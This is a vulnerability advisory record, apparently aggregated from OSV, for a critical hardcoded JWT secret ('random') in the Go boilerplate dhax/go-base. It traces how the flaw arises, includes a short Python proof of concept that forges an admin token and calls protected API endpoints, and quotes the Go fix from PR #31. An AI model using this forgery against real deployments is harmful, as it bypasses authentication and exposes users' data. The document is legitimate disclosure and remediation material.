{"id":"CVE-2026-48031","aliases":["GHSA-mqq6-462x-jxmm","GO-2026-5515"],"url":"https://o3.security/vulnerability/CVE-2026-48031","summary":"Go Restful API Boilerplate: Hardcoded JWT Secret \"random\" Allows Token Forgery","details":"## Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation\n\n### Affected Component\n- `github.com/dhax/go-base` — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)\n- 1,685 stars on GitHub\n\n### Vulnerability Locations\n\n| File | Line | Role |\n|------|------|------|\n| `dev.env` | 10 | `AUTH_JWT_SECRET=random` — template default shipped to all users |\n| `cmd/serve.go` | 35 | `viper.SetDefault(\"auth_jwt_secret\", \"random\")` — code-level fallback |\n| `auth/jwt/tokenauth.go` | 22-25 | Weak mitigation: only checked literal `\"random\"`, auto-generated non-persistent key |\n| `auth/jwt/tokenauth.go` | 28 | `jwtauth.New(\"HS256\", []byte(secret), nil)` — creates JWT signer with the weak key |\n| `pwdless/api.go` | 203 | `GenTokenPair()` — issues access + refresh tokens signed with the weak key |\n\n### Data Flow\n\n```\ndev.env AUTH_JWT_SECRET=random\n  OR\ncmd/serve.go viper.SetDefault(\"auth_jwt_secret\", \"random\")\n    │\n    ▼\nauth/jwt/tokenauth.go: viper.GetString(\"auth_jwt_secret\")\n    │\n    ▼\nauth/jwt/tokenauth.go: jwtauth.New(\"HS256\", []byte(secret), nil)\n    │\n    ▼\npwdless/api.go: GenTokenPair() → access + refresh tokens\n    │\n    ▼\njwt/authenticator.go: Every authenticated request trusts the forged token\n```\n\n### Description\n\nThe JWT signing secret is hardcoded to the string `\"random\"` in **two independent locations**:\n\n1. **`dev.env:10`** — The template `.env` file sets `AUTH_JWT_SECRET=random`. Every developer who copies this template gets the same default.\n\n2. **`cmd/serve.go:35`** — `viper.SetDefault(\"auth_jwt_secret\", \"random\")` provides a programmatic fallback. Even if the `.env` file is missing entirely, the application silently starts with `\"random\"` as the signing key.\n\nThe original code contained a mitigation in `auth/jwt/tokenauth.go:22-25` that checked if the secret equaled `\"random\"` and replaced it with a randomly-generated 32-byte string. This mitigation had **two fatal flaws**:\n\n- **(a) Single-value check**: Only the exact string `\"random\"` was caught. Any other weak secret (e.g., `\"secret\"`, `\"changeme\"`, empty string) passed through unchecked.\n- **(b) Non-persistent replacement**: The auto-generated key was stored only in memory (`randStringBytes(32)`), not persisted. On **every restart**, all existing tokens became invalid without warning, breaking all active user sessions. This made the \"fix\" itself a denial-of-service.\n\nAn attacker who reads the public repository knows the signing key is `\"random\"`. They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.\n\n### Proof of Concept\n\n```python\nimport jwt\nimport requests\n\n# The hardcoded secret from dev.env / serve.go (public repository)\nSECRET = \"random\"\nBASE_URL = \"http://target:3000\"\n\n# Step 1: Forge an admin JWT token\npayload = {\n    \"sub\": \"admin@example.com\",\n    \"roles\": [\"admin\"],\n    \"iat\": 9999999000,\n    \"exp\": 9999999999\n}\nforged_token = jwt.encode(payload, SECRET, algorithm=\"HS256\")\n\n# Step 2: Access any protected endpoint with the forged token\nheaders = {\"Authorization\": f\"Bearer {forged_token}\"}\n\n# List all users (requires admin)\nr = requests.get(f\"{BASE_URL}/api/v1/admin/users\", headers=headers)\nprint(f\"Status: {r.status_code}\")  # 200 OK\n\n# Access own profile with forged identity\nr = requests.get(f\"{BASE_URL}/api/v1/me\", headers=headers)\nprint(f\"Profile: {r.json()}\")  # Returns admin@example.com profile\n\n# The forged token is also accepted by refresh endpoints\nr = requests.post(f\"{BASE_URL}/api/v1/token/refresh\", headers=headers)\n# Returns a new valid token signed with the same \"random\" secret\n```\n\n### Impact\n\n- **Authentication Bypass**: Forge tokens for any user, including admin roles\n- **Confidentiality**: Access all user data, profiles, and protected resources\n- **Integrity**: Modify any data accessible via the API\n- **Persistence**: Forged tokens remain valid until expiry (or indefinitely via refresh)\n\n### Fix (PR #31)\n\nThe fix replaced the single-value check with a comprehensive approach:\n\n```go\n// BEFORE (tokenauth.go:22-25) — weak, single-value check\nif secret == \"random\" {\n    secret = randStringBytes(32) // non-persistent, breaks on restart\n}\n\n// AFTER — comprehensive known-weak-secrets map\nvar knownWeakSecrets = map[string]bool{\n    \"random\": true,\n    \"secret\": true,\n    \"changeme\": true,\n    \"change-me\": true,\n    \"default\": true,\n    \"\": true,\n}\n\nif knownWeakSecrets[secret] {\n    log.Fatal(\"JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.\")\n}\n```\n\nPlus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (`openssl rand -base64 32`) in the template.\n\n### Patched Versions\n\n- All versions after commit range including PR#31 (merged May 17, 2026).\n- Users should update to the latest master, regenerate their JWT secret, and restart.\n\n### Resources\n\n- Fix PR: https://github.com/dhax/go-base/pull/31\n- Commit history: https://github.com/dhax/go-base/commits/master\n\n### Credit\n\nReported by @saaa99999999 via manual security audit.","published":"2026-08-03T19:05:50.679Z","modified":"2026-10-21T02:58:17.291320684Z","cvss":{"score":9.1,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00437,"percentile":0.37286,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/dhax/go-base","fixedVersion":"0.0.0-20260517152733-cc82b9740fa6"}],"fix":{"url":"https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00","label":"dhax/go-base@cc82b97"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48031.json"},{"type":"ADVISORY","url":"https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48031"},{"type":"FIX","url":"https://github.com/dhax/go-base/commit/cc82b9740fa6b08e0fad409cd4b418e240dd0e00"},{"type":"FIX","url":"https://github.com/dhax/go-base/pull/31"},{"type":"PACKAGE","url":"https://github.com/dhax/go-base"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:17.291320684Z"}}